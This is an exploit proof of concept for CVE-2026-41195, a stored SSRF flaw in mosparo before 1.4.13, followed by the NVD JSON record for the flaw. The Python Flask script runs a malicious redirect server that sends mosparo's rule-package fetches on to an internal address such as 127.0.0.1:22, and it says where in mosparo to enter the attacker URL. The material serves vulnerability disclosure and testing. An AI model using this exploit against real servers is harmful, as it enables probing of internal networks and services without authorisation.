CVE-2026-41195

# Proof of Concept for CVE-2026-41195 # Description: This script demonstrates how an attacker can set up a malicious server # to redirect mosparo's requests to an internal address (SSRF). from flask import Flask, redirect, request app = Flask(__name__) # The internal target we want to scan (e.g., local admin panel or metadata service) INTERNAL_TARGET = "http://127.0.0.1:22" @app.route('/malicious-rule-source') def malicious_redirect(): # Log the incoming request to see if mosparo fetched the URL print(f"[+] Request received from mosparo: {request.headers.get('User-Agent')}") # Perform the redirect to the internal IP # The mosparo server will follow this redirect return redirect(INTERNAL_TARGET, code=302) if __name__ == '__main__': print("[*] Malicious redirect server listening on port 8080...") print("[*] Use this URL in mosparo's 'Automatic rule package source URL': http://attacker-ip:8080/malicious-rule-source") app.run(host='0.0.0.0', port=8080)

{"cve": {"id": "CVE-2026-41195", "sourceIdentifier": "[email protected]", "published": "2026-05-12T22:16:34.050", "lastModified": "2026-05-13T18:15:26.870", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "mosparo is the modern solution to protect your online forms from spam. Prior to 1.4.13, the automatic rule package source URL feature allows a project member with the editor role to store an attacker-controlled URL that the server later fetches. Because the server follows http/https redirects and does not restrict private or loopback destinations, this becomes a stored SSRF primitive that can be turned into an internal HTTP probing oracle. This vulnerability is fixed in 1.4.13."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/mosparo/mosparo/security/advisories/GHSA-92fh-26qf-r8rg", "source": "[email protected]"}]}}